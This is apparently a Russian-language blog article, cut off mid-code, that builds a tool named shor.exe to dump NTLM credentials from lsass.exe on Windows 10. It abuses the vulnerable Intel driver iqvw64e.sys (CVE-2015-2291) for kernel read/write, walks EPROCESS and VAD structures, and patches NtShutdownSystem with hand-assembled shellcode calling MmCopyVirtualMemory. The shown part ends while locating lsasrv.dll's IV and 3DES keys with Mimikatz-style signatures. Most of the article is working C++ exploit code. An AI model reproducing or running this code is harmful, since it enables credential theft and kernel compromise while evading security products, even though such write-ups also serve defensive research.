2. [[EX007] How playing CS: GO helped you bypass security products.](https://blog.vincss.net/2021/08/ex007-how-playing-cs-go-helped-you-bypass-security-products.html)
Разобрав эти статьи, у меня появилось желание объединить их для лучшего понимания метода извлечения NTLM hash’а из памяти процесса lsass.exe.
**Важные замечания**:
* Все действия будут проводится на **Windows 10 версии 1909** сборка 18363.1556.
* Название разработанного приложения для этой статьи будет **shor.exe**.
Введение.
---------
В операционной системе Windows у процесса есть два режима работы — «user-mode» и «kernel-mode». Во время работы процесса режимы переключаются между собой средствами операционной системы Windows.
Рассмотрим различия между «user-mode» и «kernel-mode»:
* Код, выполняемый в user-mode, использует изолированное виртуальное адресное пространство. Из-за этого один процесс не может изменять данные, принадлежащие другому процессу. Помимо того, что виртуальное адресное пространство процесса в user-mode является изолированным, оно ограничено. Ограничение виртуального адресного пространства процесса в user-mode предотвращает изменение и возможные повреждения критически важных данных в операционной системе.
* Код, выполняемый в kernel-mode, использует одно виртуальное адресное пространство. Это значит, что драйвер kernel-mode не изолирован от других драйверов и самой операционной системы.
Из-за того, что существуют механизмы, ограничивающие доступ к lsass.exe в user-mode, мне предстоит взаимодействовать с lsass.exe с помощью уязвимого драйвера, который может доставать полезную информацию или перезаписывать память в kernel-mode.
Для того, чтобы полноценно изучить извлечение NTLM hash пользователя из процесса lsass.exe с помощью уязвимого драйвера, я составил небольшой план действий:
1. Найти уязвимый драйвер для чтения и записи информации в kernel-mode.
2. Получить из kernel-mode структуру [EPROCESS](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/how-kernel-exploits-abuse-tokens-for-privilege-escalation#_eprocess) для двух процессов lsass.exe и shor.exe. которые потом будут переданы в [MmCopyVirtualMemory](http://www.codewarrior.cn/ntdoc/wrk/mm/MmCopyVirtualMemory.htm), чтобы извлечь памяти из user-mode.
3. С помощью обнаруженных [VAD](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/-vad) (Virtual Address Descriptor) указателей в kernel-mode, найти виртуальные адреса в user-mode, для последующего использования в функции MmCopyVirtualMemory.
4. Разработать [shellcode](https://codeby.net/threads/hello-world-v-vide-shell-koda-osobennosti-napisanija-shell-kodov.76477/) для kernel-mode, который будет использовать функцию MmCopyVirtualMemory.
5. Извлечь NTLM hash из процесса lsass.exe.
1. Поиск драйвера.
------------------
Поиск драйвера, обладающего уязвимостью чтения и записи информации в kernel-mode, привёл меня к проекту [KDU](https://github.com/hfiref0x/KDU). Этот проект позволяет загружать не подписанные драйвера с помощью подписанных, но уязвимых драйверов. Одним из таких драйверов: **iqvw64e.sys**.
В README.md проекта KDU есть номер CVE [2015-2291](https://nvd.nist.gov/vuln/detail/CVE-2015-2291) и описание уязвимости для этого драйвера. В описании сказано, что уязвимость позволяет всем пользователям вызвать отказ в обслуживании или выполнить произвольный код с привилегиями ядра с помощью вызова [IOCTL](https://docs.microsoft.com/en-us/windows/win32/devio/device-input-and-output-control-ioctl-) 0x80862013, 0x8086200B, 0x8086200F или 0x80862007.
После выбора драйвера я нашел проект на github описывающий данную уязвимость [Intel-CVE-2015-2291](https://github.com/Tare05/Intel-CVE-2015-2291). Из этого проекта взял код взаимодействия из user-mode с драйвером kernel-mode:
 Разбор взаимодействия с драйверомПередаваемый IOCTL 0x80862007 в [DeviceIoControl](https://docs.microsoft.com/en-us/windows/win32/api/ioapiset/nf-ioapiset-deviceiocontrol).
Передаваемый буфер в DeviceIoControl.
QWORD switch\_num (a1) — номер в switch.
QWORD (a1+8) — не используется.
QWORD sourse (a1+16) — указатель на блок памяти источник.
QWORD dest (a1+24) — указатель на блок памяти назначения.
QWORD count (a1+32) — количество
копируемых байтов.
Функция [memmove](http://cppstudio.com/post/682/) будет использована драйвером для чтения и записи информации в kernel-mode.
2. Поиск EPROCESS для lsass.exe и shor.exe.
-------------------------------------------
Каждый процесс в памяти ядра представлен [структурой](https://www.vergiliusproject.com/kernels/x64/Windows%2010%20%7C%202016/1909%2019H2%20(November%202019%20Update)/_EPROCESS) EPROCESS. Эта структура меняется от версии к версии Windows NT, поэтому я не буду приводить её целиком, а рассмотрю только нужные мне части.
ActiveProcessLinks ([LIST\_ENTRY](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/manipulating-activeprocesslinks-to-unlink-processes-in-userland#_list_entry)) – это элемент двухсвязного списка, содержащий указатели FLink (на следующий процесс в операционной системе Windows) и BLink (на предыдущий процесс в операционной системе Windows):
ImageFileName – имя процесса.
VadRoot – AVL дерево в котором находятся указатели VAD (Virtual Address Descriptor).
VadCount – указывает на количество узлов в AVL дереве.
После разбора структуры, я приступил к поиску двух EPROCESS для lsass.exe и shor.exe. Сперва я нашел EPROCESS процесса System.exe. В этом мне помогла функция [PsInitialSystemProcess](https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/mm64bitphysicaladdress), которая указывает на структуру EPROCESS процесса System.exe. Затем используя ActiveProcessLinks из структуры EPROCESS процесса System.exe, я прошел по двухсвязному списку активных процессов и нашел EPROCESS для lsass.exe и shor.exe, которые потом будут переданы в MmCopyVirtualMemory, с целью дампа памяти из user-mode. Более того, используя EPROCESS процесса lsass.exe я нашел VadRoot и VadCount, которые будут использоваться в будущем.
Код поиска EPROCESS, VadRoot и VadCount:
```
int main(int argc, char** argv)
{
HANDLE hDevice;
printf("--[ Intel Network Adapter Diagnostic Driver exploit ]--\n");
printf("Opening handle to driver..\n");
if ((hDevice = CreateFileA(intel::szDevice, GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, NULL)) != INVALID_HANDLE_VALUE) {
printf("Device %s succesfully opened!\n", intel::szDevice);
printf("\tHandle: %p\n", hDevice);
}
else
{
printf("Error: Error opening device %s\n", intel::szDevice);
return 0;
}
ULONG64 ReadSystemEPROCESS = PsInitialSystemProcess();
ULONG64 SystemEPROCESS = 0;
intel::MemCopy(hDevice, (uint64_t)&SystemEPROCESS, (uint64_t)ReadSystemEPROCESS, 8);
printf("[+]PsInitialSystemProcess pointer: 0x%llx\n", ReadSystemEPROCESS);
printf("[+]PsInitialSystemProcess: 0x%llx\n", SystemEPROCESS);
ULONG64 ActiveProcessLinksOffset = 0x2f0;
ULONG64 ImageFileNameOffset = 0x450;
ULONG64 ActiveProcessLinks = SystemEPROCESS+ ActiveProcessLinksOffset;
ULONG64 VadRootOffset = 0x658;
ULONG64 VadCountOffset = 0x668;
ULONG64 VadRoot_lsass = 0;
ULONG64 VadCount_lsass = 0;
ULONG64 EPROCESS_lsass = 0;
ULONG64 EPROCESS_CurrentProcess = 0;
while (true){
ULONG64 ActiveProcessLinksNext = 0;
intel::MemCopy(hDevice, (uint64_t)&ActiveProcessLinksNext, (uint64_t)ActiveProcessLinks, 8);
UCHAR ImageFileName[MAX_PATH] = "";
intel::MemCopy(hDevice, (uint64_t)&ImageFileName, (uint64_t)(ActiveProcessLinksNext - ActiveProcessLinksOffset + ImageFileNameOffset), MAX_PATH);
if (!strcmp((const char*)ImageFileName, "lsass.exe")) {
printf("[+]Name process: %.*s\n", (int)sizeof(ImageFileName), ImageFileName);
EPROCESS_lsass = ActiveProcessLinksNext - ActiveProcessLinksOffset;
printf("[+]EPROCESS lsass: 0x%llx\n", EPROCESS_lsass);
intel::MemCopy(hDevice, (uint64_t)&VadRoot_lsass, (uint64_t)(ActiveProcessLinksNext - ActiveProcessLinksOffset + VadRootOffset), 8);
intel::MemCopy(hDevice, (uint64_t)&VadCount_lsass, (uint64_t)(ActiveProcessLinksNext - ActiveProcessLinksOffset + VadCountOffset), 8);
printf("[+]VadRoot: 0x%llx\n", VadRoot_lsass);
printf("[+]VadCount: 0x%llx\n", VadCount_lsass);
}
if (!strcmp((const char*)ImageFileName, "shor.exe")) {
printf("[+]Name process: %.*s\n", (int)sizeof(ImageFileName), ImageFileName);
EPROCESS_CurrentProcess = ActiveProcessLinksNext - ActiveProcessLinksOffset;
printf("[+]EPROCESS CurrentProcess: 0x%llx\n", EPROCESS_CurrentProcess);
}
if ((EPROCESS_lsass !=0) && (EPROCESS_CurrentProcess != 0)) {
walkAVL(hDevice, VadRoot_lsass, VadCount_lsass, EPROCESS_lsass, EPROCESS_CurrentProcess);
break;
}
ActiveProcessLinks = ActiveProcessLinksNext;
}
getchar();
return 0;
}
```
Результат:
3. Поиск VAD.
-------------
Найдя EPROCESS для lsass.exe мне нужно обойти AVL дерево и извлечь все VAD указатели, в которых находятся адреса на начало и конец области виртуальной памяти в user-mode, а также путь к файлу. Данная информация понадобится мне для извлечения данных из user-mode процесса lsass.exe, с помощью функции MmCopyVirtualMemory.
Пример отображения VAD указателей и их содержимого:
Поиск VAD указателей для процесса lsass.exe начинается с нахождения вершины AVL дерева, за это отвечает указатель VadRoot:
Получив VadRoot, мне нужно пройти по всему AVL дереву и извлечь из него все VAD указатели. Они находятся в Left (смещение 0x00-0x07) и Right (смещение 0x08-0x10):
После того как VAD указатели были найдены, я прошел по ним и извлек адреса на начало (соединяя 4 байта из 0x18 и 1 байт из 0x20) и конец (объединяя 4 байта из 0x1c и 1 байт из 0x21) области виртуальной памяти в user-mode:
Код обхода AVL дерева:
```
void walkAVL(HANDLE hDevice, ULONG64 VadRoot, ULONG64 VadCount, ULONG64 EPROCESS_lssas, ULONG64 EPROCESS_GetProcess) {
ULONG64* queue;
ULONG64 count = 0;
ULONG64 cursor = 0;
ULONG64 last = 1;
VAD* vadList = NULL;
queue = (ULONGLONG*)malloc(sizeof(ULONGLONG) * VadCount * 4); // Make room for our queue
queue[0] = VadRoot; // Node 0
vadList = (VAD*)malloc(VadCount * sizeof(*vadList));
ULONG64 size = 0;
ULONG64 mask = 0;
intel::MemCopy(hDevice, (uint64_t)&mask, (uint64_t)VadRoot, 8);
mask = mask & 0xffff000000000000;
while (count < VadCount)
{
ULONG64 currentNode;
currentNode = queue[cursor];
if (currentNode == 0) {
cursor++;
continue;
}
ULONG64 VadRootLeft = 0;
intel::MemCopy(hDevice, (uint64_t)&VadRootLeft, (uint64_t)currentNode, 8);
ULONG64 VadRootRight = 0;
intel::MemCopy(hDevice, (uint64_t)&VadRootRight, (uint64_t)(currentNode + 0x8), 8);
//printf("[+]VadRootLeft: 0x%llx\n", VadRootLeft);
//printf("[+]VadRootRight: 0x%llx\n", VadRootRight);
queue[last++] = VadRootLeft;
queue[last++] = VadRootRight;
ULONG64 Start = 0;
ULONG64 StartingVpn = 0;
ULONG64 StartingVpnHigh = 0;
intel::MemCopy(hDevice, (uint64_t)&StartingVpn, (uint64_t)(currentNode + 0x18), 4);
intel::MemCopy(hDevice, (uint64_t)&StartingVpnHigh, (uint64_t)(currentNode + 0x20), 1);
Start = (StartingVpn << 12) | (StartingVpnHigh << 44);
ULONG64 End = 0;
ULONG64 EndingVpn = 0;
ULONG64 EndingVpnHigh = 0;
intel::MemCopy(hDevice, (uint64_t)&EndingVpn, (uint64_t)(currentNode + 0x1c), 4);
intel::MemCopy(hDevice, (uint64_t)&EndingVpnHigh, (uint64_t)(currentNode + 0x21), 1);
End = ((EndingVpn + 1) << 12) | (EndingVpnHigh << 44);
printf("[+] Vad 0x%llx | Start-End: 0x%llx-0x%llx Size byte: %lld\n", currentNode, Start, End, (End - Start));
count++;
cursor++;
}
free(vadList);
free(queue);
return;
}
```
Результат:
Кроме того, VAD содержит и другие данные, например, если область зарезервирована для образа файла, то можно получить путь к этому файлу. Это важно, потому что я хочу найти загруженный lsasrv.dll внутри процесса lsass.exe, а также отсюда будут получены учетные данные по аналогии с Mimikatz sekurlsa::msv.
Поиск пути к файлу lsasrv.dll будет заключатся в том, чтобы пройти по некоторым структурам в kernel-mode:
```
ffff810344b90110 5 7ffa044f0 7ffa04690 13 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\lsasrv.dll
0: kd> dt nt!_mmvad ffff810344b90110
+0x000 Core : _MMVAD_SHORT
+0x040 u2 :
+0x048 Subsection : 0xffff8103`42db2d30 \_SUBSECTION <===========================
+0x050 FirstPrototypePte : 0xffffa483`fe977010 \_MMPTE
+0x058 LastContiguousPte : 0xffffa483`fe977d10 \_MMPTE
+0x060 ViewLinks : \_LIST\_ENTRY [ 0xffff8103`42db2cb8 - 0xffff8103`42db2cb8 ]
+0x070 VadsProcess : 0xffff8103`44b71081 \_EPROCESS
+0x078 u4 :
+0x080 FileObject : (null)
0: kd> dt nt!\_SUBSECTION 0xffff8103`42db2d30
+0x000 ControlArea : 0xffff8103`42db2cb0 \_CONTROL\_AREA <===========================
+0x008 SubsectionBase : 0xffffa483`fe977010 \_MMPTE
+0x010 NextSubsection : 0xffff8103`42db2d68 \_SUBSECTION
+0x018 GlobalPerSessionHead : \_RTL\_AVL\_TREE
+0x018 CreationWaitList : (null)
+0x018 SessionDriverProtos : (null)
+0x020 u :
+0x024 StartingSector : 0
+0x028 NumberOfFullSectors : 2
+0x02c PtesInSubsection : 1
+0x030 u1 :
+0x034 UnusedPtes : 0y000000000000000000000000000000 (0)
+0x034 ExtentQueryNeeded : 0y0
+0x034 DirtyPages : 0y0
0: kd> dt nt!\_CONTROL\_AREA 0xffff8103`42db2cb0
+0x000 Segment : 0xffffa484`02468160 \_SEGMENT
+0x008 ListHead : \_LIST\_ENTRY [ 0xffff8103`44b90170 - 0xffff8103`44b90170 ]
+0x008 AweContext : 0xffff8103`44b90170 Void
+0x018 NumberOfSectionReferences : 0
+0x020 NumberOfPfnReferences : 0x19a
+0x028 NumberOfMappedViews : 1
+0x030 NumberOfUserReferences : 1
+0x038 u :
+0x03c u1 :
+0x040 FilePointer : \_EX\_FAST\_REF <===========================
+0x048 ControlAreaLock : 0n0
+0x04c ModifiedWriteCount : 0
+0x050 WaitList : (null)
+0x058 u2 :
+0x068 FileObjectLock : \_EX\_PUSH\_LOCK
+0x070 LockedPages : 1
+0x078 u3 :
0: kd> dt nt!\_EX\_FAST\_REF 0xffff8103`42db2cb0 + 0x40
+0x000 Object : 0xffff8103`44b7566d Void <=========================== & 0xfffffffffffffff0
+0x000 RefCnt : 0y1101
+0x000 Value : 0xffff8103`44b7566d
```
Чтобы получить правильный указатель на \_FILE\_OBJECT мне нужно изменить последнею цифру в 0xffff8103`44b756**6d** на 0, таким образом получив 0xffff8103`44b756**60**
```
0: kd> dt nt!_FILE_OBJECT 0xffff8103`44b75660
+0x000 Type : 0n5
+0x002 Size : 0n216
+0x008 DeviceObject : 0xffff8103`426d9c00 _DEVICE_OBJECT
+0x010 Vpb : 0xffff8103`4265c0e0 _VPB
+0x018 FsContext : 0xffffa484`02484170 Void
+0x020 FsContext2 : 0xffffa484`024843d0 Void
+0x028 SectionObjectPointer : 0xffff8103`42faaf28 _SECTION_OBJECT_POINTERS
+0x030 PrivateCacheMap : (null)
+0x038 FinalStatus : 0n0
+0x040 RelatedFileObject : (null)
+0x048 LockOperation : 0 ''
+0x049 DeletePending : 0 ''
+0x04a ReadAccess : 0x1 ''
+0x04b WriteAccess : 0 ''
+0x04c DeleteAccess : 0 ''
+0x04d SharedRead : 0x1 ''
+0x04e SharedWrite : 0 ''
+0x04f SharedDelete : 0x1 ''
+0x050 Flags : 0x44042
+0x058 FileName : _UNICODE_STRING "\Windows\System32\lsasrv.dll" <===========================
+0x068 CurrentByteOffset : _LARGE_INTEGER 0x0
+0x070 Waiters : 0
+0x074 Busy : 0
+0x078 LastLock : (null)
+0x080 Lock : _KEVENT
+0x098 Event : _KEVENT
+0x0b0 CompletionContext : (null)
+0x0b8 IrpListLock : 0
+0x0c0 IrpList : _LIST_ENTRY [ 0xffff8103`44b75720 - 0xffff8103`44b75720 ]
+0x0d0 FileObjectExtension : (null)
```
Код поиска lsasrv.dll:
```
void walkAVL(HANDLE hDevice, ULONG64 VadRoot, ULONG64 VadCount, ULONG64 EPROCESS_lssas, ULONG64 EPROCESS_GetProcess) {
ULONG64* queue;
ULONG64 count = 0;
ULONG64 cursor = 0;
ULONG64 last = 1;
VAD* vadList = NULL;
queue = (ULONGLONG*)malloc(sizeof(ULONGLONG) * VadCount * 4);
queue[0] = VadRoot;
vadList = (VAD*)malloc(VadCount * sizeof(*vadList));
ULONG64 size = 0;
ULONG64 mask = 0;
intel::MemCopy(hDevice, (uint64_t)&mask, (uint64_t)VadRoot, 8);
mask = mask & 0xffff000000000000;
while (count < VadCount)
{
ULONG64 currentNode;
currentNode = queue[cursor];
if (currentNode == 0) {
cursor++;
continue;
}
ULONG64 VadRootLeft = 0;
intel::MemCopy(hDevice, (uint64_t)&VadRootLeft, (uint64_t)currentNode, 8);
ULONG64 VadRootRight = 0;
intel::MemCopy(hDevice, (uint64_t)&VadRootRight, (uint64_t)(currentNode + 0x8), 8);
//printf("[+]VadRootLeft: 0x%llx\n", VadRootLeft);
//printf("[+]VadRootRight: 0x%llx\n", VadRootRight);
queue[last++] = VadRootLeft;
queue[last++] = VadRootRight;
ULONG64 Start = 0;
ULONG64 StartingVpn = 0;
ULONG64 StartingVpnHigh = 0;
intel::MemCopy(hDevice, (uint64_t)&StartingVpn, (uint64_t)(currentNode + 0x18), 4);
intel::MemCopy(hDevice, (uint64_t)&StartingVpnHigh, (uint64_t)(currentNode + 0x20), 1);
Start = (StartingVpn << 12) | (StartingVpnHigh << 44);
ULONG64 End = 0;
ULONG64 EndingVpn = 0;
ULONG64 EndingVpnHigh = 0;
intel::MemCopy(hDevice, (uint64_t)&EndingVpn, (uint64_t)(currentNode + 0x1c), 4);
intel::MemCopy(hDevice, (uint64_t)&EndingVpnHigh, (uint64_t)(currentNode + 0x21), 1);
End = ((EndingVpn + 1) << 12) | (EndingVpnHigh << 44);
ULONG64 subsection = 0;
intel::MemCopy(hDevice, (uint64_t)&subsection, (uint64_t)(currentNode + 0x48), 8);
if (subsection != 0 && subsection != 0xffffffffffffffff&& (subsection & mask) == mask) {
ULONG64 control_area = 0;
intel::MemCopy(hDevice, (uint64_t)&control_area, (uint64_t)(subsection), 8);
if (control_area != 0 && control_area != 0xffffffffffffffff&& (control_area & mask) == mask) {
ULONG64 fileobject = 0;
intel::MemCopy(hDevice, (uint64_t)&fileobject, (uint64_t)(control_area + 0x40), 8);
if (fileobject != 0 && fileobject != 0xffffffffffffffff && (fileobject & mask) == mask) {
fileobject = fileobject & 0xfffffffffffffff0;
USHORT Path_size = 0;
intel::MemCopy(hDevice, (uint64_t)&Path_size, (uint64_t)(fileobject + 0x58 + 0x2), 8);
ULONG64 Path = 0;
intel::MemCopy(hDevice, (uint64_t)&Path, (uint64_t)(fileobject + 0x58 + 0x8), Path_size);
char FileName[MAX_PATH];
memset(FileName,0, MAX_PATH);
intel::MemCopy(hDevice, (uint64_t)&FileName, (uint64_t)(Path), Path_size);
char lsasrv[28]; // = "Windows\System32\lsasrv.dll";
memset(lsasrv, 0, 28);
int lsasrv_size = 0;
for (int i = 1; i < (Path_size -1); i++) {
if (FileName[i] != 0x00) {
lsasrv[lsasrv_size] = FileName[i];
lsasrv_size++;
}
if (lsasrv_size == 27){
break;
}
}
if (!strcmp((const char*)lsasrv, "Windows\\System32\\lsasrv.dll")) {
std::cout << "[+]Found: lsasrv.dll " << (const char*)lsasrv << "\n";
printf("[+]Start-End: 0x%llx-0x%llx Size byte: %lld\n", Start, End, (End - Start));
printf("[+]Vad: 0x%llx\n", currentNode);
break;
}
}
}
}
count++;
cursor++;
}
free(vadList);
free(queue);
return;
}
```
Результат:
4. Shellcode в kernel-mode.
---------------------------
В процессе извлечения виртуальной памяти из user-mode с помощью драйвера я наткнулся на проблему, что он не имеет требуемого функционала.
Для выхода из данной ситуации я воспользовался идеей из второй статьи. В ней говорится, что можно перезаписать API функцию [NtShutdownSystem](http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FHardware%2FNtShutdownSystem.html) расположенную в Ntoskrnl.exe (ядро операционной системы Windows NT) на собственный shellcode и вызвать эту (перезаписанную) функцию из ntdll.dll (динамически подключаемая библиотека, служащая прослойкой между API и NT API), чтобы shellcode выполнился с привилегиями kernel-mode.
Суть shellcode’а будет заключатся в том, чтобы вызвать недокументированную функцию MmCopyVirtualMemory, которая как раз позволит извлечь виртуальную память из lsass.exe расположенной в user-mode.
Разработанный shellcode будет работать следующим образом:
Сперва я выделяю участок памяти для вызова недокументированной функции MmCopyVirtualMemory.
Код выделения памяти:
```
DWORD64 GetAllocateAddress(HANDLE hDevice, ULONG64 ExAllocatePool, ULONG64 NtShutdownSystem, ULONG64 addr_NtShutdownSystem_ntdll) {
DWORD64 AddressAllocate = 0;
char rawAllocate[44]; // выделяю память под shellcode
// char prologue[7] = { 0xCC, 0xCC, 0xCC,0x55,0x48,0x89,0xe5 };
char prologue[4] = {0x55,0x48,0x89,0xe5 }; //prologue
memmove(rawAllocate, prologue, 4);
char NumberoFBytes_mov_rdx[2] = { 0x48,0xBA }; // rdx NumberoFBytes
memmove(rawAllocate + 4, NumberoFBytes_mov_rdx, 2);
DWORD64 NumberoFBytes_mov_data = 0x200;
memmove(rawAllocate + 6, (char*)&NumberoFBytes_mov_data, 8);
char PoolType_mov_rcx[3] = { 0x48,0x33,0xc9 }; // rcx PoolType
memmove(rawAllocate + 14, PoolType_mov_rcx, 3);
char calladdress_mov_rax[2] = { 0x48,0xb8 }; // call address
memmove(rawAllocate + 17, calladdress_mov_rax, 2);
DWORD64 calladdress_mov_data = ExAllocatePool;
memmove(rawAllocate + 19, (char*)&calladdress_mov_data, 8);
char call_rax[2] = { 0xff,0xd0 };
memmove(rawAllocate + 27, call_rax, 2);
char get_rax_mov[2] = { 0x48,0xa3 }; // get rax
memmove(rawAllocate + 29, get_rax_mov, 2);
DWORD64 get_rax_data = (DWORD64)&AddressAllocate
memmove(rawAllocate + 31, (char*)&get_rax_data, 8);
char epilogue[4] = { 0x48,0x89,0xec,0x5d }; //epilogue
memmove(rawAllocate + 39, epilogue, 4);
char ret[1] = { 0xC3 }; //ret
memmove(rawAllocate + 43, ret, 1);
intel::MemCopy(hDevice, (uint64_t)NtShutdownSystem, (uint64_t)rawAllocate, 44); //34
NTSHUTDOWNSYSTEM fNtShutdownSystem = (NTSHUTDOWNSYSTEM)addr_NtShutdownSystem_ntdll;
fNtShutdownSystem(ShutdownPowerOff);
return AddressAllocate;
}
```
Результат:
Дальше, я изменю NtShutdownSystem так, чтобы совершить переход на выделенный участок памяти.
Код совершения перехода:
```
void CallAllocateAddress(HANDLE hDevice, ULONG64 ExAllocatePool, ULONG64 NtShutdownSystem, ULONG64 addr_NtShutdownSystem_ntdll, DWORD64 AddressAllocate) {
char rawCallAllocate[24];
char prologue[7] = { 0xCC, 0xCC, 0xCC,0x55,0x48,0x89,0xe5 };
//char prologue[4] = {0x55,0x48,0x89,0xe5 }; //prologue
memmove(rawCallAllocate, prologue, 7);
char Allocate_mov_rax[2] = { 0x48,0xa1 }; //
memmove(rawCallAllocate + 7, Allocate_mov_rax, 2);
DWORD64 Allocate_mov_data = (DWORD64)&AddressAllocate
memmove(rawCallAllocate + 9, (char*)&Allocate_mov_data, 8);
char calladdress_rax[2] = { 0xff,0xd0 }; // call address
memmove(rawCallAllocate + 17, calladdress_rax, 2);
char epilogue[4] = { 0x48,0x89,0xec,0x5d }; //epilogue
memmove(rawCallAllocate + 19, epilogue, 4);
char ret[1] = { 0xC3 }; //ret
memmove(rawCallAllocate + 23, ret, 1);
intel::MemCopy(hDevice, (uint64_t)NtShutdownSystem, (uint64_t)rawCallAllocate, 24); //34
}
```
Результат:
А в выделенный участок памяти помещаю shellcode, для вызова недокументированной функции MmCopyVirtualMemory.
Код вызова функции MmCopyVirtualMemory:
```
char rawData[96];
char prologue[4] = { 0x55,0x48,0x89,0xe5 }; //prologue
memmove(rawData, prologue, 4);
char result_mov_rax[2] = { 0x48,0xb8 }; //push result
memmove(rawData + 4, result_mov_rax, 2);
DWORD64 result_mov_data = (DWORD64)&Result
memmove(rawData + 6, (char*)&result_mov_data, 8);
char push_rsp_30[5] = { 0x48,0x89,0x44,0x24,0x30 };
memmove(rawData + 14, push_rsp_30, 5);
char push_rsp_28[5] = { 0xC6,0x44,0x24,0x28,0x00 }; // // push kernel mode
memmove(rawData + 19, push_rsp_28, 5);
char size_mov_rax[2] = { 0x48,0xb8 }; // push size to
memmove(rawData + 24, size_mov_rax, 2);
DWORD64 size_mov_data = Size;
memmove(rawData + 26, (char*)&size_mov_data, 8);
char push_rsp_20[5] = { 0x48,0x89,0x44,0x24,0x20 };
memmove(rawData + 34, push_rsp_20, 5);
char targetaddress_mov_r9[2] = { 0x49,0xb9 }; // r9 targetaddress
memmove(rawData + 39, targetaddress_mov_r9, 2);
DWORD64 targetaddress_mov_data = (DWORD64)&targetaddress
memmove(rawData + 41, (char*)targetaddress_mov_data, 8);
char targetProcess_mov_r8[2] = { 0x49,0xb8 }; // r8 targetProcess
memmove(rawData + 49, targetProcess_mov_r8, 2);
DWORD64 targetProcess_mov_data = targetProcess;
memmove(rawData + 51, (char*)&targetProcess_mov_data, 8);
char sourseaddress_mov_rdx[2] = { 0x48,0xBA }; // rdx sourseaddress
memmove(rawData + 59, sourseaddress_mov_rdx, 2);
DWORD64 sourseaddress_mov_data = sourseaddress;
memmove(rawData + 61, (char*)&sourseaddress_mov_data, 8);
char sourseProcess_mov_rcx[2] = { 0x48,0xb9 }; // rcx sourseProcess
memmove(rawData + 69, sourseProcess_mov_rcx, 2);
DWORD64 sourseProcess_mov_data = sourseProcess;
memmove(rawData + 71, (char*)&sourseProcess_mov_data, 8);
char calladdress_mov_rax[2] = { 0x48,0xb8 }; // call address
memmove(rawData + 79, calladdress_mov_rax, 2);
DWORD64 calladdress_mov_data = MmCopyVirtualMemory;
memmove(rawData + 81, (char*)&calladdress_mov_data, 8);
char call_rax[2] = { 0xff,0xd0 };
memmove(rawData + 89, call_rax, 2);
char epilogue[4] = { 0x48,0x89,0xec,0x5d }; //epilogue
memmove(rawData + 91, epilogue, 4);
char ret[1] = { 0xC3 }; //ret
memmove(rawData + 95, ret, 1);
intel::MemCopy(hDevice, (uint64_t)AddressAllocate, (uint64_t)rawData, 96); //96
NTSHUTDOWNSYSTEM fNtShutdownSystem = (NTSHUTDOWNSYSTEM)addr_NtShutdownSystem_ntdll;
DWORD64 Allocate = fNtShutdownSystem(ShutdownPowerOff);
```
Результат:
5. Извлечение NTLM hash из lsass.exe.
-------------------------------------
Реализация метода извлечения NTLM hash из lsass.exe взята из первой статьи. В ней сказано, что данный метод реализуется по аналогии с [Mimikatz](https://github.com/gentilkiwi/mimikatz) (sekurlsa::msv), который был взят из статьи “[Uncovering Mimikatz ‘msv’ and collecting credentials through PyKD](https://www.matteomalvica.com/blog/2020/01/20/mimikatz-lsass-dump-windg-pykd/)” от Matteo Malvica.
Код поиска NTLM hash:
```
void lootLsaSrv(HANDLE hDevice, ULONG64 EPROCESS_lssas, ULONG64 Start, ULONG64 End, ULONG64 Size, ULONG64 EPROCESS_GetProcess) { //(char* start, ULONGLONG original, ULONGLONG size) {
LARGE_INTEGER reader;
DWORD bytes_read = 0;
LPSTR lsasrv = NULL;
ULONGLONG cursor = 0;
ULONGLONG lsasrv_size = 0;
ULONGLONG original = 0;
BOOL result;
ULONGLONG LogonSessionListCount = 0;
ULONGLONG LogonSessionList = 0;
ULONGLONG LogonSessionList_offset = 0;
ULONGLONG LogonSessionListCount_offset = 0;
ULONGLONG iv_offset = 0;
ULONGLONG hDes_offset = 0;
ULONGLONG DES_pointer = 0;
unsigned char* iv_vector = NULL;
unsigned char* DES_key = NULL;
KIWI_BCRYPT_HANDLE_KEY h3DesKey;
KIWI_BCRYPT_KEY81 extracted3DesKey;
LSAINITIALIZE_NEEDLE LsaInitialize_needle = { 0x83, 0x64, 0x24, 0x30, 0x00, 0x48, 0x8d, 0x45, 0xe0, 0x44, 0x8b, 0x4d, 0xd8, 0x48, 0x8d, 0x15 };
LOGONSESSIONLIST_NEEDLE LogonSessionList_needle = { 0x33, 0xff, 0x41, 0x89, 0x37, 0x4c, 0x8b, 0xf3, 0x45, 0x85, 0xc0, 0x74 };
PBYTE LsaInitialize_needle_buffer = NULL;
PBYTE needle_buffer = NULL;
int offset_LsaInitialize_needle = 0;
int offset_LogonSessionList_needle = 0;
ULONGLONG currentElem = 0;
original = (DWORD64)Start;
/* Save the whole region in a buffer */
lsasrv = (LPSTR)malloc(Size);
lsasrv = (LPSTR)dumpUsermode(hDevice, EPROCESS_lssas, Start, (End - Start), EPROCESS_GetProcess);
lsasrv_size = Size;
// Use mimikatz signatures to find the IV/keys
printf("\t\t===================[Crypto info]===================\n");
LsaInitialize_needle_buffer = (PBYTE)malloc(sizeof(LSAINITIALIZE_NEEDLE));
memcpy(LsaInitialize_needle_buffer, &LsaInitialize_needle, sizeof(LSAINITIALIZE_NEEDLE));
offset_LsaInitialize_needle = memmem((PBYTE)lsasrv, lsasrv_size, LsaInitialize_needle_buffer, sizeof(LSAINITIALIZE_NEEDLE));
printf("[*] Offset for InitializationVector/h3DesKey/hAesKey is %d\n", offset_LsaInitialize_needle);
memcpy(&iv_offset, lsasrv + offset_LsaInitialize_needle + 0x43, 4); //IV offset
printf("[*] IV Vector relative offset: 0x%08llx\n", iv_offset);
iv_vector = (unsigned char*)malloc(16);
memcpy(iv_vector, lsasrv + offset_LsaInitialize_needle + 0x43 + 4 + iv_offset, 16);
printf("\t\t[/!\\] IV Vector: ");
for (int i = 0; i < 16; i++) {
printf("%02x", iv_vector[i]);
}
printf(" [/!\\]\n");
free(iv_vector);
memcpy(&hDes_offset, lsasrv + offset_LsaInitialize_needle - 0x59, 4); //DES KEY offset
printf("[*] 3DES Handle Key relative offset: 0x%08llx\n", hDes_offset);
printf("[*]0x%08llx\n", (original + offset_LsaInitialize_needle - 0x59 + 4 + hDes_offset));
memcpy(&DES_pointer, lsasrv + offset_LsaInitialize_needle - 0x59 + 4 + hDes_offset, 8);
